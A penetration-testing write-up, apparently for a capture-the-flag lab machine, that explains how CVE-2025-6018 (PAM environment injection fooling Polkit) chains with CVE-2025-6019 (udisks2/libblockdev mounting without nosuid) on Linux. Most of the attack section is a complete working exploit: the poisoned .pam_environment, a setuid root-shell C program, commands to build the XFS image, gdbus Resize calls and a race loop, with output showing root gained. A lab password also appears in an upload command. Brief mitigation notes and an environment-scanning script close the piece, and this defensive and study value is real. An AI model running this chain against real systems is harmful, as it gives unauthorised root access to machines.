Linux Chained Privilege Escalation (CVE-2025-6018 & CVE-2025-6019)

Prerequisites

1. Identity Impersonation Prerequisite (for CVE-2025-6018)

This is the “first leg” of the relay, aimed at making the system recognize you from an “outsider” to a “local.”

• Must be a systemd system: The target must use systemd-logind (Systemd Login Manager) to manage sessions.
• PAM environment configuration permissions: You must have write permissions to the current user’s home directory, as you need to create or modify the ~/.pam_environment file.
• PAM module loading: The target system must have the pam_systemd.so (Pluggable Authentication Modules for Systemd) module enabled.
• Reload environment: You must be able to trigger a new session login (e.g., via ssh re-login or executing su - username) for the system to read your poisoned environment variables.

2. Authorization Trust Prerequisite (Polkit’s Trust)

This is the “bridge” connecting the two vulnerabilities. Without this step, you cannot invoke subsequent disk management functions.

• Active State: When checked via loginctl (Login Control tool), the Active property must be yes.
• Seat Binding: The session must be associated with a specific Seat, usually seat0 (The primary hardware seat).
• Polkit Policy Allowance: The system’s Polkit (PolicyKit - system-level privilege management toolkit) policy must be configured to allow “local active users” to operate disks via udisks2 (User-space Disk Management Daemon) without an administrator password.

3. Vulnerability Trigger Prerequisite (for CVE-2025-6019)

This is the “finishing line” of the relay, truly completing the leap from a normal user to Root.

• Vulnerable Library Present: The version of libblockdev (Block Device Manipulation Library) installed on the system must be within the affected range (unpatched).
• Kernel Support for XFS: The Linux kernel must have the XFS (Extents File System) driver loaded, otherwise you cannot mount your malicious image.
• udisks2 Service Running: The system must have the udisks2 daemon running and allow you to call its Resize method via D-Bus (Desktop Bus).
• Writable /tmp Directory: While not absolute, the exploit typically relies on creating temporary mount points in the /tmp directory, which must not have noexec restrictions.
• Image Integrity: You must have a pre-created XFS image locally containing a binary file with SUID (Set User ID) permissions.

Vulnerability Basic Information

1. Vulnerability Basic Information (Vulnerability Overview)

• CVE-2025-6018:
  • Name: PAM Environment Variable Injection (Pluggable Authentication Modules Environment Injection)
  • Type: Logical Flaw / Identity Impersonation
  • Impact Scope: Primarily affects SUSE series and improperly configured Linux distributions.
• CVE-2025-6019:
  • Name: libblockdev / udisks2 Logical Vulnerability
  • Type: Local Privilege Escalation (LPE)
  • Risk Level: High

2. Root Cause Analysis

• CVE-2025-6018 (Breakthrough Point): The pam_env.so (Pluggable Authentication Modules Environment Library) module in the system is configured with user_readenv=1. This allows a regular user to inject specific environment variables by modifying the ~/.pam_environment file in their home directory.
  • Key Variables: XDG_SEAT (X Display Group Seat) and XDG_VTNR (X Display Group Virtual Terminal Number).
  • Consequence: Successfully deceives the Polkit (PolicyKit) module, causing a remote session to be misidentified as an “active local session”, thereby granting permissions to execute sensitive system operations.
• CVE-2025-6019 (Privilege Escalation Point): libblockdev (Block Device Manipulation Library) mounts a temporary image via udisks2 (User-space Disk Management Daemon) when handling an XFS (Extents File System) filesystem resize request.
  • Flaw: The MS_NOSUID (Mount Flag: No Set User ID) flag is not set during the mounting process.
  • Consequence: Allows the user to mount a filesystem image containing an attacker-crafted SUID (Set User ID) program.

3. Exploitation Chain Construction

This section is the essence of the notes, documenting how to chain the two vulnerabilities together:

1. Environment Preparation: Create .pam_environment in $HOME and write forged local seat information.
2. Session Reset: Trigger a PAM (Pluggable Authentication Modules) session reload (e.g., by reconnecting via SSH).
3. Privilege Verification: Confirm that loginctl (Login Control) marks the current user as Active=yes.
4. Payload Deployment: Prepare a malicious XFS (Extents File System) disk image containing a shell with SUID (Set User ID) privileges.
5. Trigger Execution: Use udisksctl (User-space Disk Control Tool) to request resizing the image. The system will automatically mount it, and executing the SUID program inside will grant Root (superuser) privileges.

4. Pentest Checklist

1. Check if user_readenv=1 is present under /etc/pam.d/. (If not, skip attempting the second step).
2. Check if there is write permission for ~/.pam_environment. (Check env).
3. Check if pkexec (PolicyKit Execution) or udisksctl (User-space Disk Control Tool) is available.
4. Check if the libblockdev (Block Device Manipulation Library) version is lower than the security patch version.

5. Mitigation & Defense

• Short-term Strategy: Modify the PAM (Pluggable Authentication Modules) configuration and set user_readenv=0.
• Long-term Strategy: Update the system kernel and critical libraries like libblockdev and udisks2.
• Audit Recommendation: Monitor for abnormal modification records of the ~/.pam_environment file.

Example

Exploiting CVE-2025-6018

phileasfogg3@pterodactyl:~> cat .pam_environment

XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1

Re-login via SSH.

phileasfogg3@pterodactyl:~> env | grep XDG
XDG_VTNR=1
XDG_SESSION_ID=184
XDG_SESSION_TYPE=tty
XDG_DATA_DIRS=/usr/share
XDG_SESSION_CLASS=user
XDG_SEAT=seat0
XDG_RUNTIME_DIR=/run/user/1002
XDG_CONFIG_DIRS=/etc/xdg

Check if SEAT is seat0 and STATE is active.

phileasfogg3@pterodactyl:~> loginctl --no-pager
SESSION  UID USER         SEAT  TTY   STATE  IDLE SINCE
     20 1002 phileasfogg3 seat0 pts/0 active no

1 sessions listed.

Confirm the Polkit ticket.

phileasfogg3@pterodactyl:~> pkcheck --action-id org.freedesktop.udisks2.filesystem-mount --process $$ && echo "VULNERABLE: Polkit is bypassed!"

VULNERABLE: Polkit is bypassed!

If it does not prompt for a password and directly prints VULNERABLE, then you have already obtained the privilege escalation pass for CVE-2025-6019.

Exploiting CVE-2025-6019

Step 1: Create a malicious XFS image on the attack machine

# 1. Create a 300MB empty image file
dd if=/dev/zero of=xfs.image bs=1M count=300

# 2. Format as XFS (Extends File System)
mkfs.xfs xfs.image

# 3. Mount the image and plant the SUID Shell wrapper
mkdir -p ./mnt
sudo mount -o loop xfs.image ./mnt

# 4. Write and compile a simple SUID privilege escalation program (more stable than directly copying bash)
cat << EOF > rootshell.c
#include <unistd.h>
#include <stdlib.h>
int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    return 0;
}
EOF
gcc rootshell.c -o ./mnt/rootshell

# 5. Set the critical SUID (Set User ID) permission
sudo chmod 4755 ./mnt/rootshell

# 6. Unmount the image
sudo umount ./mnt
rm rootshell.c

Execute the above file with sudo Upload to the target: sshpass -p '!QAZ2wsx' scp xfs.image phileasfogg3@pterodactyl.htb:/tmp/

Step 2: Trigger the privilege escalation on the target machine

# 1. Enter the /tmp directory
cd /tmp

# 2. Set up a loop device
# udisksctl: User-space Disk Control Tool
LOOP_DEV=$(udisksctl loop-setup --file /tmp/xfs.image --no-user-interaction | grep -o '/dev/loop[0-9]*')
echo "Loop Device: $LOOP_DEV"

# 3. Trigger the vulnerability: Use gdbus to call the Resize method
# This forces libblockdev (Block Device Manipulation Library) to mount the image in a vulnerable way
gdbus call --system --dest org.freedesktop.UDisks2 \
    --object-path "/org/freedesktop/UDisks2/block_devices/${LOOP_DEV##*/}" \
    --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'

# 4. Find the mount point and run the privilege escalation program
# After triggering the vulnerability, the image will be mounted under /tmp/blockdev-xxxx
MOUNT_PATH=$(find /tmp -maxdepth 1 -name "blockdev-*" -type d 2>/dev/null)
if [ -z "$MOUNT_PATH" ]; then
    echo "[-] Mount failed, check if you are an Active session."
else
    echo "[+] Found mount at: $MOUNT_PATH"
    $MOUNT_PATH/rootshell
fi

Step 3: Start the snatch loop

# 1. Start an extremely intensive background snatcher
(while true; do 
    target=$(find /tmp -maxdepth 1 -name "blockdev-*" -type d 2>/dev/null)
    if [ -n "$target" ]; then
        echo "[!] MOUNT DETECTED: $target"
        $target/rootshell
        break
    fi
done) &

# 2. Get the snatcher's process ID
SNATCHER_PID=$!

# 3. Re-setup the loop device (assuming you use the uploaded image)
LOOP_DEV=$(udisksctl loop-setup --file /tmp/xfs.image --no-user-interaction | grep -o '/dev/loop[0-9]*')

# 4. Trigger the vulnerability (multiple attempts increase success rate)
for i in {1..3}; do
    gdbus call --system --dest org.freedesktop.UDisks2 \
        --object-path "/org/freedesktop/UDisks2/block_devices/${LOOP_DEV##*/}" \
        --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'
done

# 5. If successful, you will get a Root Shell; if not, kill the snatcher
kill $SNATCHER_PID 2>/dev/null

Finally

phileasfogg3@pterodactyl:/tmp> find /tmp/blockdev.* -name "rootshell" -perm -4000 2>/dev/null
/tmp/blockdev.38YCK3/rootshell
phileasfogg3@pterodactyl:/tmp> /tmp/blockdev.38YCK3/rootshell -p
pterodactyl:/tmp # id
uid=0(root) gid=0(root) groups=0(root),100(users)
·1pterodactyl:/tmp # cat /root/root.txt

Detection

#!/bin/bash

# --- Color Definitions ---
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color

echo -e "${BLUE}====================================================${NC}"
echo -e "${BLUE}       NeobeeSec Privilege Escalation Environment Scanner${NC}"
echo -e "${BLUE}====================================================${NC}"

# 1. Basic System Information Collection
echo -e "\n${YELLOW}[1] System Information${NC}"
echo -e "Hostname: $(hostname)"
echo -e "Kernel Version: $(uname -r)"
if [ -f /etc/os-release ]; then
    # Full Name: Operating System Release
    source /etc/os-release
    echo -e "Distribution Version: $PRETTY_NAME"
fi

# 2. CVE-2025-6018 Status Check (Identity Spoofing Check)
echo -e "\n${YELLOW}[2] CVE-2025-6018 Identity Spoofing Status (Environment Poisoning)${NC}"

# Check Environment Variables
# Full Name: X Display Group Seat
echo -n "XDG_SEAT Status: "
if [[ "$XDG_SEAT" == "seat0" ]]; then
    echo -e "${GREEN}Set to seat0 (Meets attack condition)${NC}"
else
    echo -e "${RED}Not set or not seat0 (Current value: $XDG_SEAT)${NC}"
fi

# Check Session Activity
# Full Name: Login Control
if command -v loginctl &>/dev/null; then
    ACTIVE_STATUS=$(loginctl show-session "$XDG_SESSION_ID" --property=Active --value 2>/dev/null)
    echo -e "Session Active Status: ${ACTIVE_STATUS:-Unknown}"
    if [[ "$ACTIVE_STATUS" == "yes" ]]; then
        echo -e "[${GREEN}√${NC}] Session is active, Polkit [PolicyKit] will trust this session."
    else
        echo -e "[${RED}!${NC}] Session is not active, might not be able to invoke privileged D-Bus [Desktop Bus] methods."
    fi
else
    echo -e "${RED}[x] loginctl tool not found${NC}"
fi

# 3. Core Library and Component Check
echo -e "\n${YELLOW}[3] Key Components and Package Versions${NC}"

# Check if tools exist
components=("udisksctl" "gdbus" "pkcheck")
for cmd in "${components[@]}"; do
    if command -v "$cmd" &>/dev/null; then
        echo -e "[${GREEN}√${NC}] Tool found: $cmd"
    else
        echo -e "[${RED}x${NC}] Tool missing: $cmd"
    fi
done

# In-depth package version check (supports RPM and DPKG)
# Full Name: Red Hat Package Manager
# Full Name: Debian Package
check_pkgs=("libblockdev" "udisks2" "polkit" "systemd")

if command -v rpm &>/dev/null; then
    echo -e "\n--- RPM-based Package Version Query ---"
    for pkg in "${check_pkgs[@]}"; do
        rpm -qa | grep -i "$pkg" | sed "s/^/[+] /"
    done
elif command -v dpkg &>/dev/null; then
    echo -e "\n--- DPKG-based Package Version Query ---"
    for pkg in "${check_pkgs[@]}"; do
        dpkg -l | grep -i "$pkg" | awk '{print "[+] "$2, $3}'
    done
fi

# 4. CVE-2025-6019 Privilege Escalation Prerequisite Check (Disk & Mount)
echo -e "\n${YELLOW}[4] CVE-2025-6019 Prerequisites (LPE Prerequisites)${NC}"

# Check kernel support for XFS
# Full Name: Extends File System
if grep -q "xfs" /proc/filesystems; then
    echo -e "[${GREEN}√${NC}] Kernel supports XFS filesystem."
else
    echo -e "[${RED}x${NC}] Kernel does not support XFS, cannot mount the escalation image.${NC}"
fi

# Check /tmp directory execute permission
# Full Name: Standard Output
# Full Name: Mount
if mount | grep -E '\s/tmp\s' | grep -q "noexec"; then
    echo -e "[${RED}x${NC}] /tmp directory is mounted as noexec (execution forbidden), the escalation program might not run."
else
    echo -e "[${GREEN}√${NC}] /tmp directory allows program execution."
fi

# 5. Permission Vulnerability Blind Test (Polkit Authorization Check)
echo -e "\n${YELLOW}[5] Polkit [PolicyKit] Authorization Blind Test${NC}"
# Check if udisks2 (User-space Disk Management Daemon) mount permission can be directly exploited
if command -v pkcheck &>/dev/null; then
    pkcheck --action-id org.freedesktop.udisks2.filesystem-mount --process $$ &>/dev/null
    if [ $? -eq 0 ]; then
        echo -e "[${GREEN}√${NC}] Authorization successful: You can directly mount the filesystem!"
    else
        echo -e "[${RED}x${NC}] Authorization failed: Mount operation requires admin password."
    fi
fi

echo -e "\n${BLUE}====================================================${NC}"
echo -e "Scan complete. If there are many items with [√] above, the privilege escalation success rate is very high."